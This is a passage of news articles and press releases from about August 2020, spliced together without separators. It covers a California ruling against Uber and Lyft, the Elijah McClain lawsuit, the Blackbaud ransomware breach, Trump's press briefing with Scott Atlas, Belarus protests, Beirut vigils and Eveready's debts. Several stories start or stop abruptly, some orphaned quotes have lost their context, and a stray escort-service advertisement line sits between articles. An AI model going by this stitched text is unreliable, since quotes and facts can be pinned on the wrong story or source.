such as the right to minimum wage, sick leave, unemployment insurance, and workers compensation benefits. Schulman wrote in his ruling that both the Legislature and our Supreme Court have found that the misclassification of workers as independent contractors deprives them of the panoply of basic rights and protections to which employees are entitled under California law, including minimum wage, workers compensation, unemployment insurance, paid sick leave and paid family leave. The judge said that under the ABC test used to determine whether a worker is an employee or an independent contractor, the companies would not be able to argue their drivers are independent contractors as they perform work that is within the companys usual course of business. Schulman recognized that the injunction could have major impacts for the companies, as well as some drivers who prefer to remain independent, and wrote that if the injunction the People seek will have far-reaching effects, they have only been exacerbated by Defendants prolonged and brazen refusal to comply with California law. The campaign for Proposition 22, a proposed ballot initiative sponsored by Uber and Lyft that would allow ride-share drivers to work as independent contractors, decried the ruling. We need to pass Prop 22 more than ever, said Jan Krueger, a retiree who drives with Lyft in Sacramento. Sacramento politicians and special interests keep pushing these disastrous laws and lawsuits that would take away the ability of app-based drivers to choose when and how they work, even though by a 4-1 margin drivers want and need to work independently. Well take our case to the voters to protect the ability of app-based drivers to work as independent contractors, while providing historic new benefits like an earnings guarantee, health benefits, and more. Joseph Bryant, president of Service Employees International Union (SEIU) Local 1021 and executive board member of SEIU California, said the ruling sends a clear signal to app-based companies that no one is above the laweven billion-dollar corporations. It also underscores the importance of voting no on Prop 22, the initiative written by app companies to give only app companies a special exemption from these important laws, all so they can continue to leave tens of thousands of drivers completely at the mercy of their exploitative business model, Bryant said. San Diego City Attorney Mara W. Elliott called the ruling a milestone in protecting workers and their families from exploitation by Uber and Lyft. Im proud to be in this fight to hold greedy billion-dollar corporations accountable, especially when a pandemic makes their withholding of health care and unemployment benefits all the more burdensome on taxpayers, Elliott said. AB 5s author, Assemblywoman Lorena Gonzalez (D-San Diego), said, Uber and Lyft have been fighting tooth and nail for years to cheat their drivers out of the basic workplace protections and benefits they have been legally entitled to. They have enriched their executives and their bottom line, while leaving taxpayers on the hook to subsidize the wages and benefits of their drivers. Today, the court sided with the People of California. Im thankful to our attorney general and city attorneys for demanding justice for the hundreds of thousands of ride-share drivers in California. "I couldnt be more pleased with how she has led this community through the pandemic," said County Commissioner Deb Schorr, who like Condon is a Republican. If the County Board needs to go back and permanently install her into that position, it would be "more than willing to go through that formality," Schorr said. The board is expected to vote to appoint Lopez at its next meeting. The City Council and Board of Health are expected to also call votes to formally appoint her as well. "This basically all goes away, and the county attorney will not file this if she's appointed officially," County Board Chairman Sean Flowerday said. In court last week, attorney J.L. Spray asked a judge to invalidate the order to close Madsen's Bowling & Billiards because Lopez had not been duly appointed to her position and was only a consultant. City attorneys countered Spray's contention by arguing Lopez's order remained valid because ultimately the mayor was the acting public health director. Xtalks Life Science Webinars A combined knowledge of the EU MDR, above-mentioned guidance documents and guidelines, and associated MEDDEV guidelines provides manufacturers with the essential information with respect to the collection of clinical evidence medical devices In this webinar, the panelists will continue the journey of medical devices, i.e. from the moment the device got access to the EU market and onwards. On the one hand, this webinar will help you to understand the requirements defined in a number of regulations, standards and guidelines (see below). On the other hand, and likely even more important, this webinar will guide you on how to act upon these requirements. Our experts will share their thoughts and strategic considerations to efficiently continue clinical evidence data collection in the post-market phase. Questions will include: What clinical evidence do I have access to?, What type of data collection methods can I consider?, and What else do I need to stay on the market?. The questions will be answered with appropriate context, all with the goal of helping participants navigate during the continuous journey of their medical device. Since the adoption of the European Medical Device Regulation (MDR) 2017/745 in 2017, several guidance documents have been published by the Medical Device Coordination Group (MDCG). Although these documents may not be legally binding, it is strongly recommended to follow them closely, as they aim to ensure uniform application of the MDR within the EU. Recently, a number of guidance documents referring to clinical investigation and evaluation became available. In parallel, the European Data Protection Board regularly publishes guidelines, recommendations, and best practices that should be taken into consideration when collecting clinical data. A combined knowledge of the EU MDR, above-mentioned guidance documents and guidelines, and associated MEDDEV guidelines provides manufacturers with the essential information with respect to the collection of clinical evidence medical devices; it is an evident challenge to connect all the bits and pieces. Join Alwin van den Broek, Project Manager and Data Protection Officer, Avania and Anne Leijsen, Director, Medical Writing, Avania in a live webinar on Friday, August 28, 2020 at 10am EDT (3pm BST/UK). For more information or to register for this event, visit Your EU MDR Journey Continues: An Insight Into Strategic Approaches For Collecting Clinical Evidence In The Post-Market Era. ABOUT XTALKS Xtalks, powered by Honeycomb Worldwide Inc., is a leading provider of educational webinars to the global life science, food and medical device community. Every year thousands of industry practitioners (from life science, food and medical device companies, private & academic research institutions, healthcare centers, etc.) turn to Xtalks for access to quality content. Xtalks helps Life Science professionals stay current with industry developments, trends and regulations. Xtalks webinars also provide perspectives on key issues from top industry thought leaders and service providers. To learn more about Xtalks visit http://xtalks.com For information about hosting a webinar visit http://xtalks.com/why-host-a-webinar/ Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. 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Website : http://queensescortsnow.com Tel: (347) 990-2527 The family of Elijah McClain, a 23-year-old Black man who died last year after police officers in Aurora, Colorado, put him in a chokehold and then injected him with ketamine while he was handcuffed, filed a federal lawsuit on Tuesday alleging that the officers violated his civil rights. The lawsuit, filed in U.S. District Court in Colorado, names the city of Aurora, several police officers, two paramedics and a fire department medical director. "Elijah was listening to music, enjoying the short walk home from the corner store with some iced tea when Aurora police officers grabbed, tackled, and assaulted him," the lawsuit said in regard to his detention on Aug. 24, 2019. "In a span of eighteen minutes, Defendants subjected Elijah to a procession of needless and brutal force techniques and unnecessary, recklessly administered medication, the combined effects of which he could not survive," the suit said. McClain was taken off life support and died days later, on Aug. 30. The arrest occurred after Aurora police received a call at 10:32 p.m. on Aug. 24 reporting that a suspicious person was "walking on Billings Street near East Colfax Avenue, wearing a ski mask and waving his arms at the caller," officials said. McClain's family said he often wore a ski mask when he felt cold. According to weather records, it would have been in the mid-to-high 60s the night of the arrest. "The male would not stop walking down the street from the officer," according to a police statement at the time. "The male resisted contact, a struggle ensued, and he was taken into custody." At some point, officers called for an ambulance. Authorities later said that McClain "suffered a cardiac arrest and lifesaving measures were initiated." The coroner for Adams and Broomfield counties attributed McClain's death to "undetermined causes." But the coroner did not rule out whether the police chokehold in addition to the sedative ketamine, injected into McClain by paramedics might have contributed to his death. Story continues Adams County District Attorney Dave Young opted not to prosecute the officers involved, saying he could not disprove, with enough evidence to win a conviction, the officers' assertion that they were right to use the level of force they employed. Colorado Gov. Jared Polis, a Democrat, has appointed a special prosecutor to re-evaluate the case. "Public confidence in our law enforcement process is incredibly important now more than ever," Polis said. "A fair and objective process free from real or perceived bias for investigating officer-involved killings is critical." A union representative for Aurora police officers could not be immediately reached for comment on Tuesday. The city of Aurora said it was reviewing the lawsuit and could not comment. The Aurora Fire Department did not immediately respond to a request for comment. The three officers involved in taking McClain into custody were moved to "nonenforcement" duties in late June after the death came under renewed public scrutiny. Mari Newman, an attorney for the family, said in a statement Tuesday that the McClains want justice. "Elijah Javon McClain was 23 years old when he was killed by Aurora police officers and paramedics. "Elijahs killers extinguished the light of a beautiful young man who loved all beings," Newman said. "His compassion for animals was so strong that he played his violin for cats at animal shelters, believing that music eased their loneliness, and he was so averse to causing harm to another living being that he would chase flies away rather than swatting them," she said. "Yet when the Aurora Police Department officers encountered Elijah on the evening of August 24, 2019, they saw none of the kindness and gentleness for which he was known, but rather just another Black man in America." Videos Sorry, there are no recent results for popular videos. Since iPhone sales could decline, the iPhones best accessories could decline in sales as well. Kuo estimates a 15% to 25% drop in sales of other Apple products: AirPods, iPad, Apple Watch and Mac computers. We estimate that global iPhone shipments will decline by 25%-30%. Global shipments of other Apple hardware products, including AirPods, iPad, Apple Watch, and Mac, will decline by 15%-25%. In the best-case scenario, Tencents ban only caused Apple to remove WeChat from the App Store in the US. If this were to happen, its predicted only 3%-6% of iPhone sales would be impacted while the other Apple Products will see a decline of less than 3%. Kuo recommends that investors of companies in Apples supply should reduce their stock holdings as the WeChat ban could affect these companies whether its the worst-case or optimistic-case scenario. The Tencent and TikTok bans dont come without their set of consequences. Even the Huawei ban is still seeing effects. Just today, Qualcomm is trying to convince the Administration that it should be able to sell chipsets to Huawei. Via HONOLULU, Aug. 11, 2020 /PRNewswire/ -- Corcoran Group, LLC today announced its debut in Hawaii with the launch of its newest franchisee, Corcoran Pacific Properties. The announcement was made via virtual appearance by Pamela Liebman, president and CEO of The Corcoran Group. This is the seventh Corcoran affiliate to be announced in the U.S. since the start of the year, and the third to be launched in a virtual fashion since the start of remote work. Corcoran Pacific Properties is a top brokerage specializing in high-end resale and serving clients in the entire state of Hawaii including Kauai, Oahu, Maui, and Hawaii Island. The establishment of Corcoran Pacific Properties ushers in the next stage of growth for the firm, having access to Corcoran's resources, networking, and broader recognition both within the industry and among consumers, while remaining locally-owned. With more than 250 agents across 11 offices, the firm is led by President and CEO Anton Steenman, and Brokerage Vice President, Chuck Garrett. "There is something absolutely magical about Hawaii, and I couldn't be more excited that Corcoran Pacific Properties has arrived," said Corcoran President & CEO Pamela Liebman. "Their agent-centric values and thoughtful, authentic approach to client service in such a unique part of the country are such a natural fit for Corcoran particularly given that we serve both urban and leisure destinations. I know they will continue to create exponential growth for our collective network of agents and clients alike." The creation of Corcoran Pacific Properties represents a key expansion for Corcoran into a top second-home market. Boasting nearly $1.5 billion in sales in 2019, Corcoran Pacific Properties has been recognized as one of the 50 fastest-growing businesses in Hawaii in the last six years, and one of America's fastest-growing private companies for the last six years[1]. The firm will be fully launched and operational as Corcoran Pacific Properties on Tuesday, August 25, 2020. "We dream big, and today is that dream realized," said Anton Steenman, President and CEO of Corcoran Pacific Properties. "Corcoran is a breakthrough brand that will undoubtedly make our affiliated agents more unique in the Hawaii market and beyond, and this affiliation with the Corcoran brand is a strong cultural match with the values on which we've built the company." "One thing that aligns perfectly is how well Corcoran emphasizes the human aspect of selling a home, versus the transaction itself," said Chuck Garrett, Brokerage Vice President of Corcoran Pacific Properties. "The increased opportunities that we will now provide our agents are both exciting and key to fueling their business growth in these changing times." 1https://www.inc.com/inc5000/2019/top-private-companies-2019-inc5000.html About The Corcoran Group The Corcoran Group is a leading residential real estate brand with more than 50 offices and more than 3,300 sales associates serving Manhattan, Brooklyn, the Hamptons, the North Fork of Long Island and Shelter Island, N.Y., Delray Beach, Miami Beach, Palm Beach, West Palm Beach, Bal Harbour, 30A, Surfside, Windermere and Dr. Phillips, FL; San Francisco, CA, Lake Tahoe and Reno, NV, and Chicago, IL. The Corcoran Brand is comprised of company owned offices, which are owned by a subsidiary of Realogy Brokerage Group LLC, and franchised offices, which are independently owned and operated. For more information about The Corcoran Group, please visit www.corcoran.com. SOURCE The Corcoran Group Related Links www.realogycorporation.net Personal data belonging to former Maynooth University students, including their dates of birth, addresses and educational information, may have been stolen during a cybercriminal hacking attack last May. The Kildare university's Development and Alumni Relations Office informed individuals who may have been affected by the breach by email last Thursday afternoon, and has apologised for the incident. The Data Protection Commissioner has been informed of the incident. Maynooth University would not be drawn on how many alumni may have been affected by the hack. A third-party service provider used by the university, US-based Blackbaud, which provides software to the education sector, informed MU on July 16 that it had been the victim of a ransomware attack in May, affecting records it manages for organisations worldwide. Ransomware is malicious software planted by criminals that infects and locks computers. The perpetrators demand a ransom before they allow the system to work again. The hackers removed a copy of a backup file containing personal information including some Maynooth University data. Blackbaud paid the cybercriminals' demands, with confirmation that the stolen copy of the data had been destroyed. "Based on the nature of their incident, their research and a third party (including law enforcement) investigation, Blackbaud do not believe that any data went beyond the cybercriminal, was or will be misused or will be disseminated or otherwise made available publicly and are continuing to monitor this," said MU in the email to affected alumni. The Maynooth University Development and Alumni Office uses Blackbaud systems to engage with past students and supporters. The Office said that it was notifying those affected after investigating the matter. According to the university, the data accessed by the hacker may have contained names, dates of birth, addresses, email addresses, education and professional information such as the qualifications received and the profession of the alumnus. It may also have contained details of the graduate's engagement with the Development and Alumni Relations Office, such as whether they made donations or took part in events. However, Blackbaud confirmed that the investigation found that no encrypted information, such as credit card or bank account details or passwords was accessed. MU told alumni in their statement that there is no need for them to take any action. "We recommend you remain vigilant and report any suspicious activity or identity theft to the proper authorities. "Please know that we take our data protection responsibilities very seriously. We assure you that we will continue to do everything we can to ensure the safety of your data. We will continue to work with Blackbaud to investigate this matter and take the advice from our Data Protection officer and information security team." Maynooth University said it is reviewing its relationship with Blackbaud as a service provider, and is continuing to work with the tech company "to understand the steps they have taken to address this and what actions they will take to increase their security. "We at Maynooth University sincerely apologise for this incident." President Donald Trump signaled a new shift in his public health posture to the coronavirus pandemic Monday at the White House when he announced the presence of Dr. Scott Atlas who has warned of the costs of school closings. It was just one of multiple areas where Trump made news or veered into murky statements at a White House press briefing that was briefly interrupted after a Secret Service agent told Trump he needed to stop the briefing following what the president later said was a shooting outside the White House. After Trump declared himself not rattled by the sudden interruption, he briefly pointed to Atlas, a fellow at Stanford University's Hoover Institution, and mentioned him to the press. He said Atlas, who has appeared on Fox News, 'will be working with us on the coronavirus' and 'he has many great ideas.' President Trump said the 'great pandemic' of 1917 'probably ended the second World War, all the soldiers were sick' The shout-out came after Trump has spent weeks occasionally clashing with national health expert Dr. Anthony Fauci on lockdowns and school closings. The conservative commentator hailed the appointment on his website, writing about 'good news' that he was added to the vice president's coronavirus task force. 'Scott Atlas is a brilliant guy and he thinks by early October that we could well be burned out of COVID. In his opinion, we could see it turn inert,' according to the story on Limbaugh's site. The news comes after Trump also tweeted about coronavirus task force expert Dr. Deborah Birx, calling it 'pathetic' after she warned about lockdowns following criticism from House Speaker Nancy Pelosi. Atlas in his speakers' bureau bio says he has advised presidential candidates, and has been identified as an advisor to former New York Mayor Rudy Giuliani's 2008 campaign. Stanford University Professor Scott Atlas listens as United States President Donald J. Trump speaks during a news conference in the James S. Brady Press Briefing Room at the White House in Washington, DC, USA, 10 August 2020. Atlas has questioned 'hysteria' over school closings United States Secretary of the Treasury Steven Mnuchin (L), Director for Office of Management and Budget (OMB) Russell Vought (C) and Stanford University Professor Scott Atlas (R) listen as United States President Donald J. Trump speaks during a news conference in the James S. Brady Press Briefing Room Monday The staff move comes after Trump has clashed with Dr. Anthony Fauci Atlas spoke to Fox News in a mid-July appearance amid national debate over keeping schools closed. 'We are the only country in the world, this is a level of hysteria like this is something I feel like I'm living in a Kafka novel here. I mean, I get thousands of e-mails a week from all over the world, from professors, teachers, mothers in the United States and elsewhere, they are stunned that we are willing to just simply destroy our children out of some bizarre notion that is completely contrary to the science,' he said. In May, Atlas disagreed with a model projecting 134,000 deaths by August 4, based on his reading of the fatality rate. The U.S. exceeded that total, and as of August 10 was over 160,000. White House press secretary Kayleigh McEnany has frequently quoted Atlas, as she did in July from the White House podium when she said: 'Children under 18 have virtually zero risk of death from COVID, virtually zero risk of serious illness.' New York City celebrating VJ Day at the end of World war Two in Japan 1945. Trump connected the flu pandemic of 1918 to the end of the war President Barack Obama (C) signs the Affordable Health Care for America Act during a ceremony with fellow Democrats in the East Room of the White House March 23, 2010 in Washington, DC. The landmark bill was passed by the House of Representatives Sunday after a 14-month-long political battle that left the legislation without a single Republican vote. President Trump said he would sign an executive order on protections for those with preexisting conditions, which the law already provides Trump himself took heat when he said children are 'almost immune' from the virus, even though that is not the case. Trump on Monday voiced support for Atlas' views. 'I think schools have to open,' the president said. 'I think its a very important thing for the economy to get the schools going.' Atlas offered up-beat information in a July interview even as cases rose. 'If cases go up, thats okay, the key thing is to prevent a big outbreak of deaths and serious complications and the way we do that is by protecting the high risk group, Atlas said. Actually, we have been protecting the high risk group much better now, because we see that theres a huge increase in cases but theres actually a decrease in the rate of hospitalizations and a continuing decrease in the rate of deaths Following Trump's statement, he covered the waterfront in a press conference where he once again referenced the 1918 flu pandemic in comparison to the coronavirus crisis. He accidentally connected it to World War II, (1939-1945). 'The closest thing is in 1917 they say, right? The great pandemic, certainly as a terrible thing,' Trump said. Then he said it 'probably ended the second World War, all the soldiers were sick.' Trump also defended an executive order he referenced over the weekend that would provide healthcare protections for Americans with preexisting medical conditions. He was asked an order was needed, when a ban on denial of preexisting conditions is one of the centerpieces of Obamacare. Trump regularly rails against the law and helped take down its individual mandate, but those provisions remain in force. Trump said his order was 'just a double safety net and just to let people know that the Republicans are already strongly in favor of' protections for preexisting conditions. 'Its a signal to people. Its a second platform,' Trump said, acknowledging the move was symbolic. Trump administration members, Democratic and Republican lawmakers and former Vice President Joe Biden expressed concern Monday over Belarus' weekend elections and subsequent brutal crackdown on protesters in the country. Why it matters: President Aleksander Lukashenko, known as "Europe's last dictator," claimed to have won in a landslide against the pro-democracy opposition in a Sunday election widely viewed as rigged. Thousands of protesters have taken to the streets in cities across Belarus, where clashes with riot police for two consecutive nights have left at least one person dead, hundreds injured and thousands arrested. The main opposition candidate, Svetlana Tikhanovskaya, had not been seen or heard from for hours on Monday after filing a complaint at the Central Election Commission. Her team later issued a short and mysterious statement, saying: "Svetlana Tikhanovskaya has made contact. Shes fine." What they're saying: In a Medium post, Biden called for a transparent and accurate vote count, the release of all political prisoners, for Lukashenko to respect the right to protest and for the violence to end. "After a presidential election marred by electoral fraud, citizens peacefully protesting to demand an accurate vote count are now being met with riot police using stun grenades, tear gas, and rubber bullets," he noted. "The Lukashenka regime has cut internet access, arrested protesters and independent journalists, and tried to muzzle foreign observers. These are not the actions of a political leader confident that he has won a fairly conducted election." Excerpt from Biden's post White House press secretary Kayleigh McEnany said at a briefing the administration was "deeply concerned" about the election and the "detention of peaceful protesters and journalists," as she urged authorities to "refrain from the use of force." House Foreign Affairs Committee Chair Eliot Engel (D-N.Y.) and ranking member Michael McCaul (R-Texas) said in a joint statement, "We stand with those who are bravely risking their safety to push for a free and democratic nation and call on President Alexander Lukashenko to end these senseless acts of violence." Secretary of State Mike Pompeo denounced the Belarus election in a statement on Monday as "not free and fair" and urged the country's authoritarian government to "refrain from use of force" against protesters who have taken to the streets. "We strongly condemn ongoing violence against protesters and the detention of opposition supporters, as well as the use of internet shutdowns to hinder the ability of the Belarusian people to share information about the election and the demonstrations." Excerpt from Pompeo's statement Go deeper: Protests erupt in Belarus after "Europe's last dictator" claims election win Editor's note: This article has been updated with more comments and the latest details on the unrest. There's not much artist Jim Koehn doesn't love about Houston. From the moment he set foot in his adopted hometown, he fell in love with the wide open city, the "crazy" roadways, the music venues, the gritty streets and the cool mom-and-pop spots all across Houston. Koehn wears his love for Houston proudly in his nostalgic, dreamy watercolors that have a photorealistic look. "I came down to Houston on a total whim. We earmarked Galveston Island. But I thought, 'man, Houston's where it's at,'" Koehn said. At the age of 19, Koehn went out on a road-trip from his native Michigan to see Houston, and he never left. "I loved the big city. Everything was here. All the bands were playing here," Koehn said. "I just fell in love with Houston. I was enamored with all the neighborhoods. I loved the oldest, grittiest neighborhoods. I ran streets from Navigation to Canal when I worked for Channel 8." Jim Koehn He also likes the raw beauty of the old watering holes--from Alice's Tall Texan to Kay's Lounge. Koehn's painterly style when it comes to his watercolors has a luminous touch with attention to detail. Koehn has a series of 150 watercolors, devoted specifically to Houston iconic spots, from Astroworld to Numbers. "One of my favorite things to paint are dive bars and beer joints," Koehn said. "They must ring a little strong to people." As other artists have struggled to make a go during the pandemic, Koehn's Etsy shop has doubled its business since March. "People are scooping them right up," Koehn said. "Starting last year, in 2019, business started really picking up. I just kept working that Etsy store, and it kept picking up. Even you're sleeping, your stuff is still working for you." The one thing he says truly resonates with people about his work is the memories his pieces evoke. "I've heard people say, 'I get a good feeling when I stand in this booth,'" Koehn said. "They get lost in the thoughts of the memories and experiences. Everyone's got a story about Astroworld or one of those spots." Jim Koehn So what was a painting he had the most affection for? "I do love my Astroworld painting. But I also like my Numbers painting because it was early," Koehn said. "I've had people say, 'Holy cow, there's a piece of art about Numbers!" alison.medley@chron.com Lawyers for Donald Trump said on Monday that the local prosecutor seeking eight years of his tax returns in a grand jury investigation was disingenuous in suggesting the probe expanded beyond hush-money payments made to two women during the 2016 campaign, after the prosecutor hinted at a broader review of Mr Trumps dealings and operations at his company. The latest dispute arose after Mr Trump launched his most recent challenge to a subpoena to his accounting firm, Mazars USA, for his tax returns following a Supreme Court ruling last month that a sitting president was not immune from state court actions. The nations highest court left the door open for Mr Trump to challenge the legality of the subpoena itself and attorneys for Mr Trump have said the prosecutors records search was overboard and amounted to harassment. In response to a recent filing by the office of Manhattan district attorney Cyrus Vance Jr., D, suggesting that the scope of the investigation was not limited to the 2016 payments and instead included potential insurance and bank fraud by the Trump Organisation, Mr Trumps team accused the district attorney of launching a fishing expedition. The district attorneys mention of a wider look at potential criminality appeared to be offered as a defence to Mr Trumps claim that seeking eight years of tax returns was itself a fishing expedition. Mr Vances last filing in the lawsuit filed by Mr Trump last year to challenge the Mazars subpoena cites news articles, including from The Washington Post, that looked at broader possible targets. But the district attorney also argued he should not have to reveal details about the scope of his investigation. References to news reports show that the District Attorney is still fishing for a way to justify his harassment of the President, Trump attorney William Consovoy wrote in Mondays filing in US District Court for the Southern District of New York. Mr Trumps legal team has made much of the fact that the subpoena to Mazars was identical to congressional subpoenas previously issued. The lawyers said the copied subpoena is proof that the prosecutors office is motivated by politics. An unredacted version of a sworn statement by a member of the district attorneys investigation team confirms that the grand jury is focused on the 2016 payments and that the subpoena was not copied for conveniences sake, Mr Consovoys reply brief says. Mr Vances office is trying to determine whether the payoffs by former Trump personal attorney Michael Cohen to adult-film actress Stormy Daniels and former Playboy model Karen McDougal were improperly concealed as legal fees. Mr Cohen pleaded guilty in federal court in Manhattan in 2018 to several charges, including campaign finance violations related to payments to Ms Daniels and Ms McDougal, who both alleged affairs with Mr Trump. The president denies having a relationship with either woman. A spokesman for Mr Vance said the office would reply in writing to Mondays filing by Mr Trump. The office is expected to respond by Friday. In its brief to the Supreme Court last year, Mr Vances office said its investigation concerns a variety of business transactions, and is based on information derived from public sources, confidential informants, and the grand jury process. The district attorney has argued that Mr Trumps latest bid to have the subpoena thrown out is a delay tactic and that there is no legal authority that would require the office to reveal the exact nature of the investigation at this point. Mr Consovoy, in a separate letter filed on Monday, argued to US district judge Victor Marrero that Mr Vance should be ordered to produce discovery that will shed light on the investigation. Mr Consovoy said it would be especially inappropriate to deny Mr Trump access to such information in this case and that Vance should have to justify issuing the broad subpoena. In an unrelated lawsuit brought by an author who accused Mr Trump of rape, the president is expected to give a deposition by 20 October, two weeks before the election. Jean Carroll, who says Mr Trump sexually assaulted her in a dressing room at a Manhattan department store in the 1990s, has sued him, alleging defamation. Ms Carrolls legal team proposed 21 September for what would be a remote deposition from the White House, but it is unclear whether or how Mr Trump will seek to postpone the proceeding. Mr Trump has denied Ms Carrolls assertions. The Washington Post KITCHENER Waterloo Region residents with deep roots in Lebanon have planned a vigil in Kitchener Tuesday night. The event is in tribute to the victims of the devastating explosion that tore through Beirut last week. Priscilla Jamal and Omar Abdul Samad, Canadian citizens with Lebanese background, are the main organizers of the vigil. Jamal said she felt numb when she heard the news of the explosion. Jamal was born in Beirut and lived there for most of her life. She left in 2005, following the string of bombings and assassinations plaguing the country at the time. When news of the recent blast broke, Jamal said she went into emergency mode. I was just trying to connect with my family to make sure my nieces and nephews were not there, Jamal said. Beirut is a small city. I just wanted to make sure everyone was OK. The blast, which destroyed a main port used for trade and food imports, killed at least 158 people and wounded more than 6,000. Lebanon was on shaky political and economic ground before the explosion. This recent crisis has brought Lebanons precarious sectarian-based political system to a breaking point. As of Sunday, two ministers had resigned their posts, while protests decrying government corruption erupt across Lebanon. Jamal understands the frustration driving political unrest on the ground. We need a government that works for its people, Jamal said. Theres no magic wand. Theres going to be a long, long process. Hiba ElMiari, a Wilfrid Laurier University graduate, is a Palestinian refugee who lived in Lebanon for 18 years before coming to Canada. ElMiari, an organizer of the vigil, explained why the event is necessary. The feeling of helplessness is paralyzing and I think the vigil provides a way for the community to come together, ElMiari wrote in an email. After hearing news of the blast, ElMiari sprung to action, raising $4,000 in less than a week. She has been sending the money directly to people in Lebanon, preferring to go through friends and family living there as opposed to through organizations or institutions. ElMiari said the money sent to her collaborator on the ground helped offer 450 food packages that were distributed to stranded families in schools around Beirut regardless of religious sect. ElMiari said that they have been very transparent about how money is being directed, posting daily updates on social media to keep donors updated, and how they plan to keep the aid sustainable. Now, we are organizing a campaign called Beirut Aid, ElMiari said. We plan to keep fundraising to support the three following areas: food, renovation and rebuilding, and mental health. Jamal said that she agrees with ElMiaris approach for sending aid and money. Id rather donate through sources I trust, Jamal said. Hibas source is very trustworthy. Id rather send it directly to people than through most organizations or institutions. RELATED STORIES Waterloo Region https://www.therecord.com/news/waterloo-region/2020/08/05/lebanese-expats-worried-for-countrys-future-after-beirut-blast.html The vigil will take place at Victoria Park near the Clock Tower at 7 p.m. Public health and safety protocols around COVID-19 are being followed, and organizers have asked attendees to wear masks and physically distance. We are bringing sanitizers and masks as well just in case someone comes unprepared, ElMiari said. We have volunteers that will assure that everyone is following the regulations. Jamal said the purpose of the vigil is twofold: to mourn for the victims and their families, and to provide comfort for the community. Its for us, but its also for the people who died. Michael Abou-Ezzi, a senior currently living in Miami, shared photographs taken by family and friends showing the aftermath of last Tuesdays horrific explosion in his hometown of Beirut. The blast, which leveled sections in Lebanons normally bustling capital and was felt 100 miles away, has claimed more than 150 lives, with 6,000 wounded, and 300,000 left homeless. Homes, businesses, food, and medical supply storage facilities, and even hospitals were torn down, leaving the country nearly destitute. To make matters worse, the coronavirus pandemic is still very much prevalent and spreading rapidly within the country, Abou-Ezzi shared in a message to University leadership. With his heartbreak turned to determination, Abou-Ezzi, along with his friends, is committed to helping his homeland by raising awareness and providing much needed financial assistance. He also recognizes the far-reaching power of Canes Care for Canes and the potential for his fellow Canes to make an immediate difference. Majoring in health studies in the School of Nursing and Health Studies, Abou-Ezzi is excited about returning to campus for the fall semester. Both my education and experience at the University of Miami have shaped me into the person I am today. My time here has taught me to not be afraid to cast my voice, to reach out for help, and to provide help to those who may need it, he said. For students who may need assistance, the University Counseling Center on the Coral Gables campus can be reached at 305-284-5511. The Faculty and Staff Assistance Program, available at 305-284-6604, is on hand to support our University employees. A leading diaspora group in the US will hoist India's Flag at the Times Square this week, the first time the Indian tricolour will be unfurled at the iconic New York City destination. The Federation of Indian Associations (FIA) of the tri-state area of New York, New Jersey and Connecticut said in a statement that it will be creating history on August 15, 2020 by hosting the first ever flag hoisting ceremony at Times Square to commemorate India's Independence Day. It will be the first time ever that India's tricolour will be unfurled at the iconic venue in all its glory, the organisation said, adding that Consul General of India in New York Randhir Jaiswal will be the Guest of Honour at the event. The FIA said this year's Independence Day celebrations will include the flag-hoisting ceremony at Times Square and the annual tradition of illuminating the Empire State Building in hues of the tricolour - orange, white and green. The Empire State lighting ceremony will be held on August 14. The Times Square flag hoisting ceremony is a testament to the Indian-American community's growing patriotism and is a fitting tribute to the FIA which is celebrating its golden jubilee year, the organisation said. Established in 1970, the FIA is among the largest umbrella diaspora organisations. In July, Ankur Vaidya was appointed the FIA Chairman, succeeding prominent Indian-American community leader Ramesh Patel who passed away due to complications from coronavirus. Vaidya, 40, has been long associated with the FIA and was the President of the umbrella diaspora organisation for the year 2014. He is the youngest member of the Board and the youngest to be chosen as its chairman. The Consulate General of India in New York will host a virtual Independence Day celebration on August 15 in which it has invited "members of the Indian community and friends of India" for the commemoration that will be live streamed. The FIA annually organises its flagship event - the India Day Parade to mark India's Independence Day in August. Top US political leaders, lawmakers as well as prominent members of the Indian-American community and celebrities from India have participated in the annual parade that draws a crowd of thousands in the heart of Manhattan each year. This year, however, the parade will not be held due to the COVID-19 pandemic. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Source: Xinhua| 2020-08-11 14:31:15|Editor: huaxia Video Player Close KABUL, Aug. 11 (Xinhua) -- One person was killed and two others were injuried as a blast struck a vehicle in Kabul on Tuesday, spokesman for Kabul police Ferdaus Faramarz said. The blast took place at 07:00 a.m. local time in PD 11 in Khair Khana locality, killing one person on the spot and wounding two others, the official said. Without providing more details, the official said that investigation is underway and details would be made public. Enditem Eveready Industries India (EII) has a promising business portfolio. It has 50 per cent market share in the core business - batteries. Another major segment, flashlights has 70 per cent market share. The diversification to new business areas - lighting, electrical products and small home appliances - are timely as the country brings forth import barriers on Chinese products. However, debt played spoilsport when everything was looking good. EII sold off its properties in Chennai and Hyderabad to reduce its debt by Rs 200 crore to Rs 350 crore. But the promoters, Kolkata-based BM Khaitan family, have pledged their shares in EII and McLeod Russel India, which is in tea plantation business, to raise capital to build another engineering and construction busines - McNally Bharat Engineering, which has a debt of around Rs 3,000 crore and a debt restructuring proposal is lying with its lenders. All these businesses come under Khaitans' Williamson Magor group. ALSO READ: IndusInd Bank buys 7.82% stake in Eveready; invokes pledged shares As the debt was weighing down heavily on the company, the share price of EII started crashing from its peak since January 2018 and was reduced to one-tenth in two years - from Rs 450 to Rs 45. When adversity struck, the lenders acted swiftly to protect their wealth. In the recent incident, IndusInd Bank has invoked the promoters' pledged shares in EII and McLeod. The move resulted in nearly 8 per cent reduction in promoter holding in both the companies. The Khaitan family was holding 42 per cent stake in EII and 31 per cent in McLeod a year back. It has now come down to 7.25 per cent and 18.32 per cent, respectively, with the increasing pledge share invocations. It was when the promoter shareholding was decreasing, another Kolkata-based business family, the Burmans, who control FMCG giant Dabur India, started picking up stake in the battery maker. The Burman family, which has been buying into Eveready since March 2019, has emerged as the largest shareholders in EII with a holding of 19.84 per cent. ALSO READ: Dabur's promoters may soon become strategic partner of Eveready Industries The market speculates that the Burmans may be white knights who came in to guard the Khaitans. But Mohit Burman, vice chairman of Dabur India, said in an email response to Business Today that the family is "pure financial investor in the company as of now". "The company has similarities to other FMCG businesses which we are familiar with, so at the price, we found the company and the brand attractive," said Burman. Burman said that a further stake increase will depend on the share price of EII. His recommendation to the EII management is to run the business in a proper professional manner to benefit all stakeholders. "We believe the company can meet its liabilities and obligations given its cash flows," added Burman. The consolidated operational revenue of EII dropped by 19 per cent to Rs 1,221 crore in financial year 2019-20. The profit fell 62 per cent to Rs 178 crore. India Ratings upgraded EII's long term credit ratings to 'IND 